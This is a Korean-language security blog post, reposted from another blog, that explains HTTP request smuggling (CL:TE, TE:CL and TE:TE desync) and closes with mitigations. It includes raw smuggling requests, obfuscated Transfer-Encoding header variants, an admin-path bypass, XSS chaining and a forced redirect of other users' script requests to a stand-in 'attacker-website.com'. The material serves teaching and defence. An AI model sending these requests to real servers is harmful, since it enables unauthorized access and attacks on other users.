HTTP Request Smuggling (펌)

2022. 6. 14. 02:10

https://guleum-zone.tistory.com/170

 

HTTP Request Smuggling(HTTP Desync Attack) 취약점

개요 HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진

guleum-zone.tistory.com

개요

HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진 취약점입니다.

 

해당 취약점이 이슈가 되는 해인 2019년에 PAYPAL 기업에서는 해당 취약점에 노출된것을 버그 바운티 프로그램을 통해 제보받았고 포상금으로 총 20.000 달러를 지급한 사례가 존재합니다.

 

Http Request Smuggling은 프론트 와 백엔드가 Http 요청의 경계를 다르게 해석하고 RFC7230을 따르지 않는 다양한 라이브러리 사용으로 인해 발생합니다.

여기서 프론트의 역할은 LB(Load Balancer) 나 RP(Reverse Proxy), CDN(Content Delivery Network)가 되며 이들은 다양한 사용자들의 요청을 받아 전달 및 분배를 해주는 과정에서 Back-end가 chunked 또는 Content-Length를 만나면 지정된 데이터만큼만 처리하고 나머지는 패킷은 버퍼에 잠시 남게 되는데 이것은 타 사용자들의 정상적인 요청의 흐름을 방해할 가능성이 존재하다는 것입니다.

 

portswigger/Http Request Smuggling

위의 사진처럼 공격자와 타사용자들 간에 서비스를 이용하는 과정에서 악의적인 사용자는 해당 취약점을 이용해 자신의 요청 이외에 추가적인 요청 행위를 백엔드 버퍼 잠시 기다리도록 대기시키고 타 사용자의 요청 앞단에 함께 묶여 처리되도록 할 수 있습니다.

 

취약점이 발생하는 이유

http요청이 끝나는 위치를 지정해주는 방법인 Content-Length 헤더와 Transfer-Encoding 헤더를 모두 제공하기에 주로 발생합니다. 하지만 대부분의 서비스에서는 2가지의 헤더를 모두 사용하고 있는데 왜 문제가 발생하느냐인데..

RFC 2616에 따르면 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드가 모두있는 메시지가 수신되면 후자인 Content-Length는 무시되고 이를 Transfer-Encoding이 이를 대체해야 됨

즉 요청 헤더에 2가지의 헤더가 모두 포함이 되어 있을 경우 Content-Length는 무시해야 된다는 것입니다.

 

Content-Length: 응답 메시지의 Body 길이나 특정 지정된 개체의 길이를 한 번에 보냄
Transfer-Encoding: 동적으로 생성되는 응답 헤더로 chunked 전송 방식을 통해 조각조각 나뉘어 처리함(처리 종료는 0이 기점)

Content-Length와 Transfer-Encoding의 존재 이유

<Content-Length 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

웹 서버가 전달해주는 콘텐츠의 시작과 끝을 알아야 요청에 대한 처리가 올바르게되는데 그러기 위해 Content-Length 헤더에 전달하고자 하는 컨텐츠의 사이즈를 표시해주면 웹 서버에스는 클라이언트에게 받은 컨텐츠 사이즈를 먼저 계산하여 응답해줄 때 전체 사이즈와 함께 데이터를 전달해준다. 만약 Content-Length 값이 "3" 이면 3 Bytes 만큼 처리하게 됩니다. 

<Transfer-Encoding 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

만약 콘텐츠 사이즈가 크면 지연이 걸릴 텐데 그럼 어떡하는가?? 바로 "Chunked" 전송 방식을 통해 전체 데이터를 한 번에 알려주지 않고 조금씩 조금씩 알려줘 부하가 걸리지 않도록 유동적으로 처리해주는 방식이 존재합니다.

"Chunked" 방식에는 Content-Length 헤더가 존재하지 않고 대신 "Transfer-Encoding: Chuncked"라는 헤더가 붙습니다.(0은 종료를 의미)

 

Content-Length와 Transfer-Encoding의 처리방식 및 종류

프론트 엔드와 백엔드 쪽 서버가 처리하는 헤더의 우선순위에 따라 공격 방법이 조금씩 달라집니다. 만약 Content-Length를 프론트에서 우선적으로 처리하고 백엔드에서 Transfer-Encoding을 우선적으로 처리할 경우 CL-TE라고 합니다.

CL:TE : 프론트 엔드 요청(Content-Length) <-> 백 엔드 응답(Transfer-Encoding)
TE:CL : 프론트 엔드 요청(Transfer-Encoding) <-> 백 엔드 응답(Content-Length)
TE:TE : 프론트 엔드와 백 엔드 모두 Transfer-Encoding 지원

위에서도 설명드렸지만 두 헤더가 요청 패킷에 모두 포함될 경우 기존 정상 요청과 추가적인 요청을 덧붙여 전송하여 서버에 전달합니다. 이로 인해 프런트 엔드 및 백 엔드 서버가 체인에서 각 요청의 시작과 끝을 결정하는 방법에 문제가 발생합니다.

 

악의적인 HTTP 요청의 끝이 잘못 계산되어 하나의 서버에서 악성 콘텐츠를 처리하지 않고 체인의 다음 인바운드 요청 시작 부분에 추가되어 처리됩니다.

 

CL:TE 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 24
Transfer-Encoding: chunked

0 -> processing
smuggling -> Back-End Stanby

Content Length를 통해 프론트 쪽 서버에서는 본문의 길이가 24 바이트인 것처럼 작동합니다. 하지만 백엔드 쪽에서는 Transfer-Encoding에 부여된 chunked를 확인하고 조각조각 처리하는 중 "0"을 만나 데이터 처리를 종료하게 됩니다.

그럼 "0"이후로 표시된 smuggling 메시지는 처리되지 못하기 때문에 백엔드 버퍼에 잠시 기록된 채 다음 요청의 앞에 포함되어 전송될 때까지 대기하게 됩니다.

 

기존 정상적인 요청을 조작하여 임의 값이 버퍼에 기록된 채로 남겨두고 다음 요청에 처리하도록 할 수 있습니다.

 

Content-Length에 부여된 값을 통해 본문 전체 값을 처리하도록 첫 번째 요청을 보냅니다. 하지만 요청 헤더에 포함된 Transfer-Encoding의 chunked로 인해 데이터 처리는 "0"까지밖에 못하게 되어 하위의 "smuggling"은 처리되지 못하고 남아있게 되어 다음 요청 때 함께 포함되어 "POST가 아닌 -> SMUGGLINGPOST"로 처리되게 됩니다.

 

만약 관리자 페이지로 접근하기 위한 /admin 경로가 차단되어 있다면 Smuggling 취약점을 악용하여 접근이 가능할 수 있습니다.

 

요청하는 Host 기반으로 검증하고 있는 것을 확인하였으므로 하단에 추가 요청을 덧붙여 접근하도록 시도할 수 있습니다.

GET 방식에 "x="이라는 값을 Body에 넣어준 이유는 "Content-Type" 속성 때문입니다. 해당 값은 HTTP 요청의 메시지를 POST방식 즉 본문의 Body에 포함하여 보내는 것을 의미합니다.

 

* 추가 요청이 아닌 기존 요청만 보낼 경우 따로 기입하지 않아도 클라이언트 측에서 디폴트로 "application/x-www-form-urlencoded" 속성 값을 넣어서 보내주기 때문에 추가적으로 안 넣어줘도 되지만 위처럼 추가 본문을 덧붙여줄 것이라면 Content-Type을 지정하여 규약을 지켜주셔야 됩니다. 

 

TE:CL 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 3
Transfer-Encoding: chunked

5 -> processing
smuggling -> Back-End Stanby
0 -> processing

프론트에서는 Transfer-Encoding에 부여된 chunked을 통해 0\r\n 기준으로 조각내어 처리하기 때문에 우선 전체 본문 내용을 백엔드 쪽으로 보냅니다. 하지만 백엔드에서는 Content-Length를 우선적으로 처리하기 때문에 부여된 "3" 바이트의 크기를 참고하여 3개의 개행 문자인 5\r\n 까지만 처리하고 중간에 smuggling은 버퍼에 잠시 동안 대기하여 다음청에 포함하여 전송되게 됩니다.

 

TE:CL 취약점을 원활하게 진행하기 위해선 자동으로 계산되어 할당되는 Update Content-Length 설정을 비활성화해주셔야 원활하게 테스트가 가능합니다. 안 그러면 본문에 추가된 데이터의 길이 모두를 자동으로 계산하여 할당하기 때문에 Smuggling이 발생하지 않습니다.

 

프론트에서는 TE 먼저 우선 처리하기 때문에 종료를 나타내는 "0"을 제일 하단으로 설정하고 우선적으로 전체 본문이 넘어가도록 해줍니다. 그 후 백엔드에서는 CL을 우선 처리하므로 부여된 "3 Bytes" 값만큼만 계산하게 되어 5\r\n 까지만 처리되고 SPOST는 백엔드에 대기하게 되어 그다음 요청에 처리됩니다.

 

본문에 새로운 요청을 추가하여 전송할 수도 있습니다. 우리는 Content-Length에 부여된 값으로 인해 백엔드에서 처리하므로 딱 처리되는 만큼의 데이터만 남겨주시고 나머진 다음 요청에 처리되도록 작성해주시면 됩니다.

 

단 Content-Length 값이 "10"인데 Body의 내용이 3 Bytes 정도밖에 없다면 서버 측에서는 데이터가 덜 들어온 것으로 판단하여 기다리다가 Timeout을 선사해줍니다.

 

CL:TE에서 확인했던 관리자 페이지 접근은 TE:CL에서는 위처럼 요청하여 무단 액세스 할 수 있습니다. 0\r\n을 기점으로 본문 전체 내용을 전달하지만 백엔드에서는 Content-Length에서 부여된 4 Bytes 로인해 71\r\n 까지만 처리하고 나머지는 다음 요청에 남아 전달됩니다.

 

TE:TE 취약점

<Transfer-Encoding 혼돈화>
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

프론트와 백엔드 모두 Transfer-Encoding 헤더의 우선순위를 지정하여 처리할 경우 요청 헤더에 2개의 Transfer-Encoding을 삽입하여 smuggling할 수 있습니다. 이때 개행문자나 잘못된 값을 넣어 프론트랑 백엔드 둘중 하나가 이를 무시하도록 우회하는 것입니다. 프론트 단에서만 Trasnfer-Encoding을 처리하거나 그 반대인 백엔드에서만 처리해도 발생가능하기 때문에 CL:TE 또는 TE:CL 과 유사하다고 볼 수 있습니다.

 

위처럼 2개의 Transfer-Encoding을 이용하되 하나는 정상 헤더 나머지는 비정상적인 헤더 값을 사용하여 1개만 처리되도록 유도하는 것 입니다.

 

이것도 마찬가지로 Content-Length에 처리할 값만 지정시켜서 5c\r\n 까지만 처리되도록 유도하면 나머지 추가된 값은 버퍼에 기록되어 다음 요청과 함께 처리됩니다.

 

HTTP Request Smuggling + XSS 공격

패킷을 밀수하는 공격을 통해 다양한 악용이 가능합니다. 대표적인 XSS(Cross Site Scripting) 취약점이 대상 웹 어플리케이션에 존재할 경우 추가 악용이 가능합니다.

페이지 로직을 확인해본 결과 매개변수에 사용자의 정보인 User-Agent 값을 사용하고 있는 것을 확인할 수 있습니다.

 

요청 패킷을 잡아 확인해보면 확실하게 값으로 인식하고 처리하고 있습니다. 해당 헤더에 값 이외에 악의적인 스크립트를 삽입하여 버퍼에 남긴 후 다른 요청 때 스크립트가 실행되도록 공격할 수 있습니다.

 

CL:TE 환경을 고려하여 전체 본문 데이터가 백엔드로 날아가지만 백엔드의 Transfer-Encoding 정책으로 인해 "0" 까지만 처리하고 스크립트가 삽입된 추가 요청은 버퍼에 남기도록 합니다.

 

* 다시 말씀드리지만 GET 방식인데 Body에 a=1이라는 데이터가 포함된 이유는 Content-Tyep 속성으로 인해 값을 넣어준 것입니다. 그렇지 않으면 서버 측에서 본문에 데이터가 확인되지 않아 무작정 기다리다 타임아웃 걸어버립니다.

 

스크립트가 실행됩니다. XSS와 연계하여 사용하는 문제는 다소 위험도가 높은 것으로 판단됩니다. HTTP 요청 밀수 공격은 MITM이 아닌 서버단에 기록된 후 처리되는 방식이기에 타 사용자들에게도 충분히 영향이 갈 수 있기 때문입니다.

 

HTTP Request Smuggling + Force Redirect

대부분의 웹 어플리케이션에서는 특정 URL에서 이벤트 발생 시 타 URL로 이동하기 위해 매개변수에 값을 받지 않고 "Host:" 헤더에 배치하여 리다이렉션 합니다. 여기서 HTTP 밀수 공격을 연계하게 될 경우 다음 요청을 받을 타 사용자에게 강제 리다이렉션 시킬 수 있는 HTTP 요청을 전달할 수 있습니다.

<Request>
GET /home HTTP/1.1
Host: guleum-zone.tistory.com

<Response> -> Original HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://guleum-zone.tistory.com -> processing

 

이걸 악용한다면 아래와 같이 재요청을 할 수 있습니다.

<Request>
POST / HTTP/1.1
Host: Target-domain.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com -> Back-End Stanby
Foo: X

==========================Back-End Stanby===========================

<Other User Request> -> After Stanby
GET /home HTTP/1.1
Host: attacker-website.com -> Add this Domain
Foo: XGET /scripts/include.js HTTP/1.1 -> Original Request
Host: vulnerable-website.com

<Other User Response> -> Force HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ -> processing of Attacker Domain

 악의적인 사용자는 프론트와 백엔드 간에 CL:TE 처리를 한다는 것을 확인 후 자신의 요청에 추가적인 본문을 추가하여 백엔드 서버에 대기하도록 할 수 있습니다.

 

이때 Transfer-Encoding에 부여된 chunked으로 인해 "0" 까지만 데이터를 처리하게 되고 Host: 에 추가된 공격자의 악성 서버 주소는 서버에 요청하는 타 사용자의 요청에 붙어서 처리됩니다.

 

기존에 사용자는 GET /scripts/include.js 경로에 존재하는 정상적인 스크립트 파일을 로드하여 서비스를 이용하려고 했지만 요청 앞단에 공격자가 저장해둔 값이 붙게 되어 최종적으로 공격자가 지정해둔 악성 서버로 리다이렉션 되게 됩니다.

 

Http Request Smuggling Scan

github.com/defparam/smuggler

 

defparam/smuggler

Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 - defparam/smuggler

github.com

위에서 여러 CL:TE / TE:CL 등 테스트를 진행하다 보면 적절한 Content-Length 값을 부여한다는 게 보통일이 아닐 수도 있습니다. 그럴 때는 자동화 스캔을 진행하여 표면적으로 취약 유무를 판단 후에 확인이 된다면 프록시 도구를 사용해 취약성 검증을 하는 게 효율적일 수도 있습니다.

 

대상 웹 어플리케이션에 HTTP 밀수 공격에 대하 취약점이 존재할 경우 위처럼 TECL 또는 CLTE 같은 구분을 해주면서 발견되었다는 것을 콘솔에 찍어줍니다.

 

/Payload 디렉토리에 생성된 결과 파일을 통해 추가적으로 수동진단을 빠르게 진행할 수 있도록 지원해줍니다.

 

대응방안

조치할 수 있는 방법은 너무나도 까다로워 단지 인증심사를 위한 전제조건 또는 OWASP 기준의 취약점 진단을 받으려는 기업들은 조치가 조금 어려울 것이라고 판단되지만 만약 조치를 하고자 한다면 아래와 같다.

- 백엔드 쪽에 HTTP2 프로토콜로 업그레이드하여 끝나는 위치에 대한 모호성을 방지(Transfer-Encoding는 HTTP/2 에서는 지원되지 않음)
- 비정상적인 요청을 감지 하기 위해 행위 기반 WAF 도입
- 백엔드의 연결 재사용을 비활성화하여 백엔드 요청이 별도의 네트워크 연결을 통해 전송되도록(서버의 성능 저하를 예방할 수 있음)
- 프런트와 백엔드의 헤더가 신뢰할 수 있는 헤더인지 동일하게 매핑

단순히 클라이언트, 서버 측에서 끝낼 수 있는 문제가 아니기 때문에 각 기업의 인프라 환경을 고려하여 조치해야 된다.

 

PayPal의 경우 해당 취약점을 조치하기 위해 아래의 방법을 사용하는 것이 아닌 서비스하는 환경을 고려하여 Transfer-Encoding 헤더 자체를 비신뢰하여 처리하지 않도록 조치했다는 내용이 있습니다.

 

이번 취약점은 뭔가 좀 더 연구가 필요해 보이기 때문에 재밌는 사례나 정보가 생긴다면 더 추가하도록 하겠습니다.

 

References

- https://portswigger.net/web-security/request-smuggling
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://www.hahwul.com/2019/08/12/http-smuggling-attack-re-born/
<Transfer-Encoding>
- https://b.pungjoo.com/entry/Transfer-Encoding-chunked-VS-Content-Length
<Content-Length>
- https://secretofsh.tistory.com/120
<Content-Type>
- https://blog.naver.com/writer0713/221853596497
 

 

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
블로그 이미지

wtdsoul

,